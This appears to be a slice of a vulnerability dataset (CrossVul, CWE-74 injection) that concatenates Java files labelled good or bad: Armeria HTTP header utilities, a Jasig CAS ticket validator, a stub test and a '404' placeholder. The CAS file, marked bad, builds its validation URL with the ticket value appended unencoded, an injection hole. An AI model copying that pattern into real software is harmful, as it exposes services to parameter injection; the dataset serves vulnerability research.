// path1 ends with '/' and path2 does not start with '/'.
// Simple concatenation would suffice.
return path1 + path2;
}
if (path2.charAt(0) == '/') {
// path1 does not end with '/' and path2 starts with '/'.
// Simple concatenation would suffice.
return path1 + path2;
}
// path1 does not end with '/' and path2 does not start with '/'.
// Need to insert '/' between path1 and path2.
return path1 + '/' + path2;
}
/**
* Decodes a percent-encoded path string.
*/
public static String decodePath(String path) {
if (path.indexOf('%') < 0) {
// No need to decoded; not percent-encoded
return path;
}
// Decode percent-encoded characters.
// An invalid character is replaced with 0xFF, which will be replaced into '�' by UTF-8 decoder.
final int len = path.length();
final byte[] buf = ThreadLocalByteArray.get(len);
int dstLen = 0;
for (int i = 0; i < len; i++) {
final char ch = path.charAt(i);
if (ch != '%') {
buf[dstLen++] = (byte) ((ch & 0xFF80) == 0 ? ch : 0xFF);
continue;
}
// Decode a percent-encoded character.
final int hexEnd = i + 3;
if (hexEnd > len) {
// '%' or '%x' (must be followed by two hexadigits)
buf[dstLen++] = (byte) 0xFF;
break;
}
final int digit1 = decodeHexNibble(path.charAt(++i));
final int digit2 = decodeHexNibble(path.charAt(++i));
if (digit1 < 0 || digit2 < 0) {
// The first or second digit is not hexadecimal.
buf[dstLen++] = (byte) 0xFF;
} else {
buf[dstLen++] = (byte) ((digit1 << 4) | digit2);
}
}
return new String(buf, 0, dstLen, StandardCharsets.UTF_8);
}
/**
* Returns {@code true} if the specified {@code path} is an absolute {@code URI}.
*/
public static boolean isAbsoluteUri(@Nullable String maybeUri) {
if (maybeUri == null) {
return false;
}
final int firstColonIdx = maybeUri.indexOf(':');
if (firstColonIdx <= 0 || firstColonIdx + 3 >= maybeUri.length()) {
return false;
}
final int firstSlashIdx = maybeUri.indexOf('/');
if (firstSlashIdx <= 0 || firstSlashIdx < firstColonIdx) {
return false;
}
return maybeUri.charAt(firstColonIdx + 1) == '/' && maybeUri.charAt(firstColonIdx + 2) == '/';
}
/**
* Returns {@code true} if the specified HTTP status string represents an informational status.
*/
public static boolean isInformational(@Nullable String statusText) {
return statusText != null && !statusText.isEmpty() && statusText.charAt(0) == '1';
}
/**
* Returns {@code true} if the content of the response with the given {@link HttpStatus} is expected to
* be always empty (1xx, 204, 205 and 304 responses.)
*
* @throws IllegalArgumentException if the specified {@code content} or {@code trailers} are
* non-empty when the content is always empty
*/
public static boolean isContentAlwaysEmptyWithValidation(
HttpStatus status, HttpData content, HttpHeaders trailers) {
if (!status.isContentAlwaysEmpty()) {
return false;
}
if (!content.isEmpty()) {
throw new IllegalArgumentException(
"A " + status + " response must have empty content: " + content.length() + " byte(s)");
}
if (!trailers.isEmpty()) {
throw new IllegalArgumentException(
"A " + status + " response must not have trailers: " + trailers);
}
return true;
}
/**
* Returns {@code true} if the specified {@code request} is a CORS preflight request.
*/
public static boolean isCorsPreflightRequest(com.linecorp.armeria.common.HttpRequest request) {
requireNonNull(request, "request");
return request.method() == HttpMethod.OPTIONS &&
request.headers().contains(HttpHeaderNames.ORIGIN) &&
request.headers().contains(HttpHeaderNames.ACCESS_CONTROL_REQUEST_METHOD);
}
/**
* Parses the specified HTTP header directives and invokes the specified {@code callback}
* with the directive names and values.
*/
public static void parseDirectives(String directives, BiConsumer<String, String> callback) {
final int len = directives.length();
for (int i = 0; i < len;) {
final int nameStart = i;
final String name;
final String value;
// Find the name.
for (; i < len; i++) {
final char ch = directives.charAt(i);
if (ch == ',' || ch == '=') {
break;
}
}
name = directives.substring(nameStart, i).trim();
// Find the value.
if (i == len || directives.charAt(i) == ',') {
// Skip comma or go beyond 'len' to break the loop.
i++;
value = null;
} else {
// Skip '='.
i++;
// Skip whitespaces.
for (; i < len; i++) {
final char ch = directives.charAt(i);
if (ch != ' ' && ch != '\t') {
break;
}
}
if (i < len && directives.charAt(i) == '\"') {
// Handle quoted string.
// Skip the opening quote.
i++;
final int valueStart = i;
// Find the closing quote.
for (; i < len; i++) {
if (directives.charAt(i) == '\"') {
break;
}
}
value = directives.substring(valueStart, i);
// Skip the closing quote.
i++;
// Find the comma and skip it.
for (; i < len; i++) {
if (directives.charAt(i) == ',') {
i++;
break;
}
}
} else {
// Handle unquoted string.
final int valueStart = i;
// Find the comma.
for (; i < len; i++) {
if (directives.charAt(i) == ',') {
break;
}
}
value = directives.substring(valueStart, i).trim();
// Skip the comma.
i++;
}
}
if (!name.isEmpty()) {
callback.accept(Ascii.toLowerCase(name), Strings.emptyToNull(value));
}
}
}
/**
* Converts the specified HTTP header directive value into a long integer.
*
* @return the converted value if {@code value} is equal to or greater than {@code 0}.
* {@code -1} otherwise, i.e. if a negative integer or not a number.
*/
public static long parseDirectiveValueAsSeconds(@Nullable String value) {
if (value == null) {
return -1;
}
try {
final long converted = Long.parseLong(value);
return converted >= 0 ? converted : -1;
} catch (NumberFormatException e) {
return -1;
}
}
/**
* Converts the specified Netty HTTP/2 into Armeria HTTP/2 {@link RequestHeaders}.
*/
public static RequestHeaders toArmeriaRequestHeaders(ChannelHandlerContext ctx, Http2Headers headers,
boolean endOfStream, String scheme,
ServerConfig cfg) {
final RequestHeadersBuilder builder = RequestHeaders.builder();
toArmeria(builder, headers, endOfStream);
// A CONNECT request might not have ":scheme". See https://tools.ietf.org/html/rfc7540#section-8.1.2.3
if (!builder.contains(HttpHeaderNames.SCHEME)) {
builder.add(HttpHeaderNames.SCHEME, scheme);
}
if (!builder.contains(HttpHeaderNames.AUTHORITY)) {
final String defaultHostname = cfg.defaultVirtualHost().defaultHostname();
final int port = ((InetSocketAddress) ctx.channel().localAddress()).getPort();
builder.add(HttpHeaderNames.AUTHORITY, defaultHostname + ':' + port);
}
return builder.build();
}
/**
* Converts the specified Netty HTTP/2 into Armeria HTTP/2 headers.
*/
public static HttpHeaders toArmeria(Http2Headers headers, boolean request, boolean endOfStream) {
final HttpHeadersBuilder builder;
if (request) {
builder = headers.contains(HttpHeaderNames.METHOD) ? RequestHeaders.builder()
: HttpHeaders.builder();
} else {
builder = headers.contains(HttpHeaderNames.STATUS) ? ResponseHeaders.builder()
: HttpHeaders.builder();
}
toArmeria(builder, headers, endOfStream);
return builder.build();
}
private static void toArmeria(HttpHeadersBuilder builder, Http2Headers headers, boolean endOfStream) {
builder.sizeHint(headers.size());
builder.endOfStream(endOfStream);
StringJoiner cookieJoiner = null;
for (Entry<CharSequence, CharSequence> e : headers) {
final AsciiString name = HttpHeaderNames.of(e.getKey());
final CharSequence value = e.getValue();
// Cookies must be concatenated into a single octet string.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
if (name.equals(HttpHeaderNames.COOKIE)) {
if (cookieJoiner == null) {
cookieJoiner = new StringJoiner(COOKIE_SEPARATOR);
}
COOKIE_SPLITTER.split(value).forEach(cookieJoiner::add);
} else {
builder.add(name, convertHeaderValue(name, value));
}
}
if (cookieJoiner != null && cookieJoiner.length() != 0) {
builder.add(HttpHeaderNames.COOKIE, cookieJoiner.toString());
}
}
/**
* Converts the headers of the given Netty HTTP/1.x request into Armeria HTTP/2 headers.
* The following headers are only used if they can not be found in the {@code HOST} header or the
* {@code Request-Line} as defined by <a href="https://tools.ietf.org/html/rfc7230">rfc7230</a>
* <ul>
* <li>{@link ExtensionHeaderNames#SCHEME}</li>
* </ul>
* {@link ExtensionHeaderNames#PATH} is ignored and instead extracted from the {@code Request-Line}.
*/
public static RequestHeaders toArmeria(ChannelHandlerContext ctx, HttpRequest in,
ServerConfig cfg) throws URISyntaxException {
final URI requestTargetUri = toUri(in);
final io.netty.handler.codec.http.HttpHeaders inHeaders = in.headers();
final RequestHeadersBuilder out = RequestHeaders.builder();
out.sizeHint(inHeaders.size());
out.add(HttpHeaderNames.METHOD, in.method().name());
out.add(HttpHeaderNames.PATH, toHttp2Path(requestTargetUri));
addHttp2Scheme(inHeaders, requestTargetUri, out);
if (!isOriginForm(requestTargetUri) && !isAsteriskForm(requestTargetUri)) {
// Attempt to take from HOST header before taking from the request-line
final String host = inHeaders.getAsString(HttpHeaderNames.HOST);
addHttp2Authority(host == null || host.isEmpty() ? requestTargetUri.getAuthority() : host, out);
}
if (out.authority() == null) {
final String defaultHostname = cfg.defaultVirtualHost().defaultHostname();
final int port = ((InetSocketAddress) ctx.channel().localAddress()).getPort();
out.add(HttpHeaderNames.AUTHORITY, defaultHostname + ':' + port);
}
// Add the HTTP headers which have not been consumed above
toArmeria(inHeaders, out);
return out.build();
}
/**
* Converts the headers of the given Netty HTTP/1.x response into Armeria HTTP/2 headers.
*/
public static ResponseHeaders toArmeria(HttpResponse in) {
final io.netty.handler.codec.http.HttpHeaders inHeaders = in.headers();
final ResponseHeadersBuilder out = ResponseHeaders.builder();
out.sizeHint(inHeaders.size());
out.add(HttpHeaderNames.STATUS, HttpStatus.valueOf(in.status().code()).codeAsText());
// Add the HTTP headers which have not been consumed above
toArmeria(inHeaders, out);
return out.build();
}
/**
* Converts the specified Netty HTTP/1 headers into Armeria HTTP/2 headers.
*/
public static HttpHeaders toArmeria(io.netty.handler.codec.http.HttpHeaders inHeaders) {
if (inHeaders.isEmpty()) {
return HttpHeaders.of();
}
final HttpHeadersBuilder out = HttpHeaders.builder();
out.sizeHint(inHeaders.size());
toArmeria(inHeaders, out);
return out.build();
}
/**
* Converts the specified Netty HTTP/1 headers into Armeria HTTP/2 headers.
*/
public static void toArmeria(io.netty.handler.codec.http.HttpHeaders inHeaders, HttpHeadersBuilder out) {
final Iterator<Entry<CharSequence, CharSequence>> iter = inHeaders.iteratorCharSequence();
// Choose 8 as a default size because it is unlikely we will see more than 4 Connection headers values,
// but still allowing for "enough" space in the map to reduce the chance of hash code collision.
final CharSequenceMap connectionBlacklist =
toLowercaseMap(inHeaders.valueCharSequenceIterator(HttpHeaderNames.CONNECTION), 8);
StringJoiner cookieJoiner = null;
while (iter.hasNext()) {
final Entry<CharSequence, CharSequence> entry = iter.next();
final AsciiString aName = HttpHeaderNames.of(entry.getKey()).toLowerCase();
if (HTTP_TO_HTTP2_HEADER_BLACKLIST.contains(aName) || connectionBlacklist.contains(aName)) {
continue;
}
// https://tools.ietf.org/html/rfc7540#section-8.1.2.2 makes a special exception for TE
if (aName.equals(HttpHeaderNames.TE)) {
toHttp2HeadersFilterTE(entry, out);
continue;
}
// Cookies must be concatenated into a single octet string.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
final CharSequence value = entry.getValue();
if (aName.equals(HttpHeaderNames.COOKIE)) {
if (cookieJoiner == null) {
cookieJoiner = new StringJoiner(COOKIE_SEPARATOR);
}
COOKIE_SPLITTER.split(value).forEach(cookieJoiner::add);
} else {
out.add(aName, convertHeaderValue(aName, value));
}
}
if (cookieJoiner != null && cookieJoiner.length() != 0) {
out.add(HttpHeaderNames.COOKIE, cookieJoiner.toString());
}
}
private static CharSequenceMap toLowercaseMap(Iterator<? extends CharSequence> valuesIter,
int arraySizeHint) {
final CharSequenceMap result = new CharSequenceMap(arraySizeHint);
while (valuesIter.hasNext()) {
final AsciiString lowerCased = AsciiString.of(valuesIter.next()).toLowerCase();
try {
int index = lowerCased.forEachByte(FIND_COMMA);
if (index != -1) {
int start = 0;
do {
result.add(lowerCased.subSequence(start, index, false).trim(), EMPTY_STRING);
start = index + 1;
} while (start < lowerCased.length() &&
(index = lowerCased.forEachByte(start,
lowerCased.length() - start, FIND_COMMA)) != -1);
result.add(lowerCased.subSequence(start, lowerCased.length(), false).trim(), EMPTY_STRING);
} else {
result.add(lowerCased.trim(), EMPTY_STRING);
}
} catch (Exception e) {
// This is not expect to happen because FIND_COMMA never throws but must be caught
// because of the ByteProcessor interface.
throw new IllegalStateException(e);
}
}
return result;
}
/**
* Filter the {@link HttpHeaderNames#TE} header according to the
* <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">special rules in the HTTP/2 RFC</a>.
* @param entry An entry whose name is {@link HttpHeaderNames#TE}.
* @param out the resulting HTTP/2 headers.
*/
private static void toHttp2HeadersFilterTE(Entry<CharSequence, CharSequence> entry,
HttpHeadersBuilder out) {
if (AsciiString.indexOf(entry.getValue(), ',', 0) == -1) {
if (AsciiString.contentEqualsIgnoreCase(AsciiString.trim(entry.getValue()),
HttpHeaderValues.TRAILERS)) {
out.add(HttpHeaderNames.TE, HttpHeaderValues.TRAILERS.toString());
}
} else {
final List<CharSequence> teValues = StringUtil.unescapeCsvFields(entry.getValue());
for (CharSequence teValue : teValues) {
if (AsciiString.contentEqualsIgnoreCase(AsciiString.trim(teValue),
HttpHeaderValues.TRAILERS)) {
out.add(HttpHeaderNames.TE, HttpHeaderValues.TRAILERS.toString());
break;
}
}
}
}
private static URI toUri(HttpRequest in) throws URISyntaxException {
final String uri = in.uri();
if (uri.startsWith("//")) {
// Normalize the path that starts with more than one slash into the one with a single slash,
// so that java.net.URI does not raise a URISyntaxException.
for (int i = 0; i < uri.length(); i++) {
if (uri.charAt(i) != '/') {
return new URI(uri.substring(i - 1));
}
}
return ROOT;
} else {
return new URI(uri);
}
}
/**
* Generate a HTTP/2 {code :path} from a URI in accordance with
* <a href="https://tools.ietf.org/html/rfc7230#section-5.3">rfc7230, 5.3</a>.
*/
private static String toHttp2Path(URI uri) {
final StringBuilder pathBuilder = new StringBuilder(
length(uri.getRawPath()) + length(uri.getRawQuery()) + length(uri.getRawFragment()) + 2);
if (!isNullOrEmpty(uri.getRawPath())) {
pathBuilder.append(uri.getRawPath());
}
if (!isNullOrEmpty(uri.getRawQuery())) {
pathBuilder.append('?');
pathBuilder.append(uri.getRawQuery());
}
if (!isNullOrEmpty(uri.getRawFragment())) {
pathBuilder.append('#');
pathBuilder.append(uri.getRawFragment());
}
return pathBuilder.length() != 0 ? pathBuilder.toString() : EMPTY_REQUEST_PATH;
}
@VisibleForTesting
static void addHttp2Authority(@Nullable String authority, RequestHeadersBuilder out) {
// The authority MUST NOT include the deprecated "userinfo" subcomponent
if (authority != null) {
final String actualAuthority;
if (authority.isEmpty()) {
actualAuthority = "";
} else {
final int start = authority.indexOf('@') + 1;
if (start == 0) {
actualAuthority = authority;
} else if (authority.length() == start) {
throw new IllegalArgumentException("authority: " + authority);
} else {
actualAuthority = authority.substring(start);
}
}
out.add(HttpHeaderNames.AUTHORITY, actualAuthority);
}
}
private static void addHttp2Scheme(io.netty.handler.codec.http.HttpHeaders in, URI uri,
RequestHeadersBuilder out) {
final String value = uri.getScheme();
if (value != null) {
out.add(HttpHeaderNames.SCHEME, value);
return;
}
// Consume the Scheme extension header if present
final CharSequence cValue = in.get(ExtensionHeaderNames.SCHEME.text());
if (cValue != null) {
out.add(HttpHeaderNames.SCHEME, cValue.toString());
} else {
out.add(HttpHeaderNames.SCHEME, "unknown");
}
}
/**
* Converts the specified Armeria HTTP/2 headers into Netty HTTP/2 headers.
*/
public static Http2Headers toNettyHttp2(HttpHeaders in, boolean server) {
final Http2Headers out = new DefaultHttp2Headers(false, in.size());
// Trailers if it does not have :status.
if (server && !in.contains(HttpHeaderNames.STATUS)) {
for (Entry<AsciiString, String> entry : in) {
final AsciiString name = entry.getKey();
final String value = entry.getValue();
if (name.isEmpty() || isTrailerBlacklisted(name)) {
continue;
}
out.add(name, value);
}
} else {
in.forEach((BiConsumer<AsciiString, String>) out::add);
out.remove(HttpHeaderNames.CONNECTION);
out.remove(HttpHeaderNames.TRANSFER_ENCODING);
}
if (!out.contains(HttpHeaderNames.COOKIE)) {
return out;
}
// Split up cookies to allow for better compression.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
final List<CharSequence> cookies = out.getAllAndRemove(HttpHeaderNames.COOKIE);
for (CharSequence c : cookies) {
out.add(HttpHeaderNames.COOKIE, COOKIE_SPLITTER.split(c));
}
return out;
}
/**
* Translate and add HTTP/2 headers to HTTP/1.x headers.
*
* @param streamId The stream associated with {@code sourceHeaders}.
* @param inputHeaders The HTTP/2 headers to convert.
* @param outputHeaders The object which will contain the resulting HTTP/1.x headers..
* @param httpVersion What HTTP/1.x version {@code outputHeaders} should be treated as
* when doing the conversion.
* @param isTrailer {@code true} if {@code outputHeaders} should be treated as trailers.
* {@code false} otherwise.
* @param isRequest {@code true} if the {@code outputHeaders} will be used in a request message.
* {@code false} for response message.
*
* @throws Http2Exception If not all HTTP/2 headers can be translated to HTTP/1.x.
*/
public static void toNettyHttp1(
int streamId, HttpHeaders inputHeaders, io.netty.handler.codec.http.HttpHeaders outputHeaders,
HttpVersion httpVersion, boolean isTrailer, boolean isRequest) throws Http2Exception {
final CharSequenceMap translations = isRequest ? REQUEST_HEADER_TRANSLATIONS
: RESPONSE_HEADER_TRANSLATIONS;
StringJoiner cookieJoiner = null;
try {
for (Entry<AsciiString, String> entry : inputHeaders) {
final AsciiString name = entry.getKey();
final String value = entry.getValue();
final AsciiString translatedName = translations.get(name);
if (translatedName != null && !inputHeaders.contains(translatedName)) {
outputHeaders.add(translatedName, value);
continue;
}
if (name.isEmpty() || HTTP2_TO_HTTP_HEADER_BLACKLIST.contains(name)) {
continue;
}
if (isTrailer && isTrailerBlacklisted(name)) {
continue;
}
if (HttpHeaderNames.COOKIE.equals(name)) {
// combine the cookie values into 1 header entry.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
if (cookieJoiner == null) {
cookieJoiner = new StringJoiner(COOKIE_SEPARATOR);
}
COOKIE_SPLITTER.split(value).forEach(cookieJoiner::add);
} else {
outputHeaders.add(name, value);
}
}
if (cookieJoiner != null && cookieJoiner.length() != 0) {
outputHeaders.add(HttpHeaderNames.COOKIE, cookieJoiner.toString());
}
} catch (Throwable t) {
throw streamError(streamId, PROTOCOL_ERROR, t, "HTTP/2 to HTTP/1.x headers conversion error");
}
if (!isTrailer) {
HttpUtil.setKeepAlive(outputHeaders, httpVersion, true);
}
}
/**
* Returns a {@link ResponseHeaders} whose {@link HttpHeaderNames#CONTENT_LENGTH} is added or removed
* according to the status of the specified {@code headers}, {@code content} and {@code trailers}.
* The {@link HttpHeaderNames#CONTENT_LENGTH} is removed when:
* <ul>
* <li>the status of the specified {@code headers} is one of informational headers,
* {@link HttpStatus#NO_CONTENT} or {@link HttpStatus#RESET_CONTENT}</li>
* <li>the trailers exists</li>
* </ul>
* The {@link HttpHeaderNames#CONTENT_LENGTH} is added when the state of the specified {@code headers}
* does not meet the conditions above and {@link HttpHeaderNames#CONTENT_LENGTH} is not present
* regardless of the fact that the content is empty or not.
*
* @throws IllegalArgumentException if the specified {@code content} or {@code trailers} are
* non-empty when the content is always empty
*/
public static ResponseHeaders setOrRemoveContentLength(ResponseHeaders headers, HttpData content,
HttpHeaders trailers) {
requireNonNull(headers, "headers");
requireNonNull(content, "content");
requireNonNull(trailers, "trailers");
final HttpStatus status = headers.status();
if (isContentAlwaysEmptyWithValidation(status, content, trailers)) {
if (status != HttpStatus.NOT_MODIFIED) {
if (headers.contains(HttpHeaderNames.CONTENT_LENGTH)) {
final ResponseHeadersBuilder builder = headers.toBuilder();
builder.remove(HttpHeaderNames.CONTENT_LENGTH);
return builder.build();
}
} else {
// 304 response can have the "content-length" header when it is a response to a conditional
// GET request. See https://tools.ietf.org/html/rfc7230#section-3.3.2
}
return headers;
}
if (!trailers.isEmpty()) {
// Some of the client implementations such as "curl" ignores trailers if
// the "content-length" header is present. We should not set "content-length" header when
// trailers exists so that those clients can receive the trailers.
// The response is sent using chunked transfer encoding in HTTP/1 or a DATA frame payload
// in HTTP/2, so it's no worry.
if (headers.contains(HttpHeaderNames.CONTENT_LENGTH)) {
final ResponseHeadersBuilder builder = headers.toBuilder();
builder.remove(HttpHeaderNames.CONTENT_LENGTH);
return builder.build();
}
return headers;
}
if (!headers.contains(HttpHeaderNames.CONTENT_LENGTH) || !content.isEmpty()) {
return headers.toBuilder()
.setInt(HttpHeaderNames.CONTENT_LENGTH, content.length())
.build();
}
// The header contains "content-length" header and the content is empty.
// Do not overwrite the header because a response to a HEAD request
// will have no content even if it has non-zero content-length header.
return headers;
}
private static String convertHeaderValue(AsciiString name, CharSequence value) {
if (!(value instanceof AsciiString)) {
return value.toString();
}
if (HEADER_VALUE_CACHE != null && CACHED_HEADERS.contains(name)) {
final String converted = HEADER_VALUE_CACHE.get((AsciiString) value);
assert converted != null; // loader does not return null.
return converted;
}
return value.toString();
}
/**
* Returns {@code true} if the specified header name is not allowed for HTTP tailers.
*/
public static boolean isTrailerBlacklisted(AsciiString name) {
return HTTP_TRAILER_BLACKLIST.contains(name);
}
private static final class CharSequenceMap
extends DefaultHeaders<AsciiString, AsciiString, CharSequenceMap> {
CharSequenceMap() {
super(HTTP2_HEADER_NAME_HASHER, UnsupportedValueConverter.instance());
}
@SuppressWarnings("unchecked")
CharSequenceMap(int size) {
super(HTTP2_HEADER_NAME_HASHER, UnsupportedValueConverter.instance(), NameValidator.NOT_NULL, size);
}
}
private ArmeriaHttpUtil() {}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1112_2
|
crossvul-java_data_bad_2195_0
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.client.validation;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import org.jasig.cas.client.ssl.HttpURLConnectionFactory;
import org.jasig.cas.client.ssl.HttpsURLConnectionFactory;
import org.jasig.cas.client.util.CommonUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Abstract validator implementation for tickets that must be validated against a server.
*
* @author Scott Battaglia
* @since 3.1
*/
public abstract class AbstractUrlBasedTicketValidator implements TicketValidator {
protected final Logger logger = LoggerFactory.getLogger(getClass());
/**
* URLConnection factory instance to use when making validation requests to the CAS server.
* Defaults to {@link HttpsURLConnectionFactory}
*/
private HttpURLConnectionFactory urlConnectionFactory = new HttpsURLConnectionFactory();
/**
* Prefix for the CAS server. Should be everything up to the url endpoint, including the /.
*
* i.e. https://cas.rutgers.edu/
*/
private final String casServerUrlPrefix;
/**
* Whether the request include a renew or not.
*/
private boolean renew;
/**
* A map containing custom parameters to pass to the validation url.
*/
private Map<String, String> customParameters;
private String encoding;
/**
* Constructs a new TicketValidator with the casServerUrlPrefix.
*
* @param casServerUrlPrefix the location of the CAS server.
*/
protected AbstractUrlBasedTicketValidator(final String casServerUrlPrefix) {
this.casServerUrlPrefix = casServerUrlPrefix;
CommonUtils.assertNotNull(this.casServerUrlPrefix, "casServerUrlPrefix cannot be null.");
}
/**
* Template method for ticket validators that need to provide additional parameters to the validation url.
*
* @param urlParameters the map containing the parameters.
*/
protected void populateUrlAttributeMap(final Map<String, String> urlParameters) {
// nothing to do
}
/**
* The endpoint of the validation URL. Should be relative (i.e. not start with a "/"). I.e. validate or serviceValidate.
* @return the endpoint of the validation URL.
*/
protected abstract String getUrlSuffix();
/**
* Disable XML Schema validation. Note, setting this to true may not be reversable. Defaults to false. Setting it to false
* after setting it to true may not have any affect.
*
* @param disabled whether to disable or not.
*/
protected abstract void setDisableXmlSchemaValidation(boolean disabled);
/**
* Constructs the URL to send the validation request to.
*
* @param ticket the ticket to be validated.
* @param serviceUrl the service identifier.
* @return the fully constructed URL.
*/
protected final String constructValidationUrl(final String ticket, final String serviceUrl) {
final Map<String, String> urlParameters = new HashMap<String, String>();
logger.debug("Placing URL parameters in map.");
urlParameters.put("ticket", ticket);
urlParameters.put("service", encodeUrl(serviceUrl));
if (this.renew) {
urlParameters.put("renew", "true");
}
logger.debug("Calling template URL attribute map.");
populateUrlAttributeMap(urlParameters);
logger.debug("Loading custom parameters from configuration.");
if (this.customParameters != null) {
urlParameters.putAll(this.customParameters);
}
final String suffix = getUrlSuffix();
final StringBuilder buffer = new StringBuilder(urlParameters.size() * 10 + this.casServerUrlPrefix.length()
+ suffix.length() + 1);
int i = 0;
buffer.append(this.casServerUrlPrefix);
if (!this.casServerUrlPrefix.endsWith("/")) {
buffer.append("/");
}
buffer.append(suffix);
for (Map.Entry<String, String> entry : urlParameters.entrySet()) {
final String key = entry.getKey();
final String value = entry.getValue();
if (value != null) {
buffer.append(i++ == 0 ? "?" : "&");
buffer.append(key);
buffer.append("=");
buffer.append(value);
}
}
return buffer.toString();
}
/**
* Encodes a URL using the URLEncoder format.
*
* @param url the url to encode.
* @return the encoded url, or the original url if "UTF-8" character encoding could not be found.
*/
protected final String encodeUrl(final String url) {
if (url == null) {
return null;
}
try {
return URLEncoder.encode(url, "UTF-8");
} catch (final UnsupportedEncodingException e) {
return url;
}
}
/**
* Parses the response from the server into a CAS Assertion.
*
* @param response the response from the server, in any format.
* @return the CAS assertion if one could be parsed from the response.
* @throws TicketValidationException if an Assertion could not be created.
*
*/
protected abstract Assertion parseResponseFromServer(final String response) throws TicketValidationException;
/**
* Contacts the CAS Server to retrieve the response for the ticket validation.
*
* @param validationUrl the url to send the validation request to.
* @param ticket the ticket to validate.
* @return the response from the CAS server.
*/
protected abstract String retrieveResponseFromServer(URL validationUrl, String ticket);
public final Assertion validate(final String ticket, final String service) throws TicketValidationException {
final String validationUrl = constructValidationUrl(ticket, service);
logger.debug("Constructing validation url: {}", validationUrl);
try {
logger.debug("Retrieving response from server.");
final String serverResponse = retrieveResponseFromServer(new URL(validationUrl), ticket);
if (serverResponse == null) {
throw new TicketValidationException("The CAS server returned no response.");
}
logger.debug("Server response: {}", serverResponse);
return parseResponseFromServer(serverResponse);
} catch (final MalformedURLException e) {
throw new TicketValidationException(e);
}
}
public final void setRenew(final boolean renew) {
this.renew = renew;
}
public final void setCustomParameters(final Map<String, String> customParameters) {
this.customParameters = customParameters;
}
public final void setEncoding(final String encoding) {
this.encoding = encoding;
}
protected final String getEncoding() {
return this.encoding;
}
protected final boolean isRenew() {
return this.renew;
}
protected final String getCasServerUrlPrefix() {
return this.casServerUrlPrefix;
}
protected final Map<String, String> getCustomParameters() {
return this.customParameters;
}
protected HttpURLConnectionFactory getURLConnectionFactory() {
return this.urlConnectionFactory;
}
public void setURLConnectionFactory(final HttpURLConnectionFactory urlConnectionFactory) {
this.urlConnectionFactory = urlConnectionFactory;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_2195_0
|
crossvul-java_data_bad_1898_2
|
package io.onedev.server.product;
public class Test {
@org.junit.Test
public void test() {
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1898_2
|
crossvul-java_data_bad_3891_0
|
404: Not Found
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_0
|
crossvul-java_data_good_1112_0
|
/*
* Copyright 2015 LINE Corporation
*
* LINE Corporation licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright (C) 2011 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.linecorp.armeria.common;
import static java.util.Objects.requireNonNull;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.BitSet;
import java.util.Map;
import com.google.common.base.Ascii;
import com.google.common.collect.ImmutableMap;
import com.google.common.math.IntMath;
import io.netty.util.AsciiString;
/**
* Contains constant definitions for the HTTP header field names.
*
* <p>All header names in this class are defined in lowercase to support HTTP/2 requirements while
* also not violating HTTP/1 requirements.</p>
*/
public final class HttpHeaderNames {
// Forked from Guava 27.1 at 8e174e76971449665658a800af6dd350806cc934
// Changes:
// - Added pseudo headers
// - Added Accept-Patch
// - Added Content-Base
// - Added Prefer
// - Removed the ancient CSP headers
// - X-Content-Security-Policy
// - X-Content-Security-Policy-Report-Only
// - X-WebKit-CSP
// - X-WebKit-CSP-Report-Only
// - Removed Sec-Metadata headers (too early to add)
// - Sec-Fetch-Dest
// - Sec-Fetch-Mode
// - Sec-Fetch-Site
// - Sec-Fetch-User
// - Sec-Metadata
private static final int PROHIBITED_NAME_CHAR_MASK = ~63;
private static final BitSet PROHIBITED_NAME_CHARS = new BitSet(~PROHIBITED_NAME_CHAR_MASK + 1);
private static final String[] PROHIBITED_NAME_CHAR_NAMES = new String[~PROHIBITED_NAME_CHAR_MASK + 1];
static {
PROHIBITED_NAME_CHARS.set(0);
PROHIBITED_NAME_CHARS.set('\t');
PROHIBITED_NAME_CHARS.set('\n');
PROHIBITED_NAME_CHARS.set(0xB);
PROHIBITED_NAME_CHARS.set('\f');
PROHIBITED_NAME_CHARS.set('\r');
PROHIBITED_NAME_CHARS.set(' ');
PROHIBITED_NAME_CHARS.set(',');
PROHIBITED_NAME_CHARS.set(':');
PROHIBITED_NAME_CHARS.set(';');
PROHIBITED_NAME_CHARS.set('=');
PROHIBITED_NAME_CHAR_NAMES[0] = "<NUL>";
PROHIBITED_NAME_CHAR_NAMES['\t'] = "<TAB>";
PROHIBITED_NAME_CHAR_NAMES['\n'] = "<LF>";
